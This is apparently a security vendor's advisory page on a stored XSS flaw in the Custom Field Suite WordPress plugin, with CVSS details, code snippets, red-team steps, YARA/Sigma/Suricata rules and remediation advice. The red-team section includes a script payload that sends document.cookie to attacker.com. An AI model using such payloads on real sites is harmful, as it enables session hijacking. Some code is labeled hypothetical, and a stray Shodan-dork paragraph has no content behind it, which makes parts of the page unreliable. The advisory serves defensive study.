CVE-2024-3068
Executive Summary
CVE-2024-3068 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Field Suite plugin for WordPress, affecting all versions up to and including 2.6.5. The flaw resides in the cfs[fields][*][name] parameter, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site installations or where unfiltered_html has been disabled. With a CVSS score of 4.4 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress environments. No public exploit code or patch is currently available, making proactive detection and mitigation critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Custom Field Suite WordPress plugin, distributed via the official WordPress plugin repository. As a third-party component, it introduces supply chain risk: site administrators must manually update or remove the plugin. No package manager (e.g., Composer) is involved, but the plugin’s codebase is directly embedded in WordPress installations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.4 (Medium)
- Attack Vector (AV): Network – exploitation is possible remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): High – attacker needs admin-level access.
- User Interaction (UI): Required – victim must visit the injected page.
- Scope (S): Changed – impact extends beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure.
- Integrity (I): Low – limited script injection.
- Availability (A): None – no denial-of-service impact.
Threat Level: Medium. The requirement for admin privileges reduces exploitability, but in multi-site environments, a compromised admin account can lead to widespread XSS across subsites.
Deep Dive & Mechanics
The vulnerability exists in the Custom Field Suite plugin’s handling of field names during field creation or editing. The cfs[fields][*][name] parameter is not properly sanitized or escaped before being stored and later rendered in the WordPress admin panel or frontend. When an administrator creates or updates a custom field with a malicious payload in the name field, the payload is stored in the database. Upon subsequent page loads (e.g., viewing the field list or editing a post), the unsanitized name is output directly into HTML, executing the injected JavaScript.
Root Cause: The plugin uses esc_attr() or similar escaping inconsistently, or fails to escape the field name in all output contexts. The unfiltered_html capability, when enabled, allows administrators to bypass sanitization, but when disabled (common in multi-site), the plugin’s own insufficient filtering is exposed.
Attack Flow:
- Attacker gains admin access (e.g., via credential theft or privilege escalation).
- Attacker navigates to Custom Field Suite → Add New Field Group.
- In the field name input, attacker injects:
<script>alert('XSS')</script>. - The payload is stored in the
wp_postmetatable. - When any user (including lower-privileged users) views the field group or a post using that field, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (version 2.6.5):
In cfs.php or field rendering functions, the field name is output without escaping:
echo '<input type="text" name="cfs[fields][' . $field['name'] . ']" value="' . $field['value'] . '" />';
Here, $field['name'] is directly concatenated into the HTML attribute without esc_attr().
Patched Code (hypothetical fix):
echo '<input type="text" name="cfs[fields][' . esc_attr( $field['name'] ) . ']" value="' . esc_attr( $field['value'] ) . '" />';
Additionally, output should be escaped with esc_html() or wp_kses_post() depending on context.
Exploitation & Lab Setup
Red Team (Exploitation)
Since no public exploit exists, manual exploitation is required. Use a WordPress admin session to inject XSS via the field name.
Step-by-Step:
- Log in as an administrator on a WordPress multi-site installation.
- Navigate to Custom Fields → Add New.
- In the Field Name input, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the field group.
- Trigger the payload by visiting any page that displays the field (e.g., post editor or field list).
Lab Setup:
- Install WordPress 6.x with Custom Field Suite 2.6.5.
- Enable multi-site mode or disable
unfiltered_htmlfor administrators. - Use a browser with developer tools to confirm script execution.
Blue Team (Detection & Hardening)
- Monitor Admin Activity: Log all field creation/modification events. Alert on suspicious field names containing
<script>,onerror, orjavascript:. - WAF Rules: Block requests to
/wp-admin/admin-ajax.phpor field saving endpoints with XSS payloads incfs[fields][*][name]. - User Education: Restrict admin access to trusted users only. Disable unused admin accounts.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/wp-admin/admin-ajax.phpwithaction=cfs_saveandcfs[fields][*][name]containing<script>tags. - Host: Database entries in
wp_postmetawheremeta_keycontainscfs_fieldsandmeta_valueincludes<script>. - File: Modified plugin files (e.g.,
cfs.php) with injected code (though unlikely for stored XSS). - Logs: WordPress debug logs showing
wp_ksesfailures or unexpected HTML in field names.
Detection Engineering
YARA Rule
rule CVE_2024_3068_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Custom Field Suite plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-3068"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=/i
$payload3 = /javascript\s*:/i
condition:
any of ($payload*) and filesize < 10MB
}
Sigma Rule
title: Custom Field Suite Stored XSS Detection
id: cve-2024-3068-sigma
status: experimental
description: Detects attempts to exploit CVE-2024-3068 via admin field creation
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=cfs_save'
cs-uri-query|contains: 'cfs[fields]'
keywords:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate admin field creation with benign HTML
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-3068 Custom Field Suite Stored XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=cfs_save"; http_client_body;
content:"cfs[fields]"; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2024-3068;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: If not critical, deactivate and delete the Custom Field Suite plugin.
- Restrict Admin Access: Limit administrator accounts to trusted users only. Use role-based access control.
- Enable
unfiltered_html: In single-site installations, enableunfiltered_htmlfor administrators (note: this reduces security but prevents the XSS vector). - Web Application Firewall (WAF): Deploy rules to block XSS payloads in
cfs[fields][*][name]parameters.
Long-Term Fix:
- Monitor the plugin repository for an official patch. If none appears, consider forking the plugin and applying the escaping fix described in the Vulnerable vs. Patched Code section.
- Replace the plugin with an alternative (e.g., Advanced Custom Fields) that is actively maintained.
Valters IT – Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.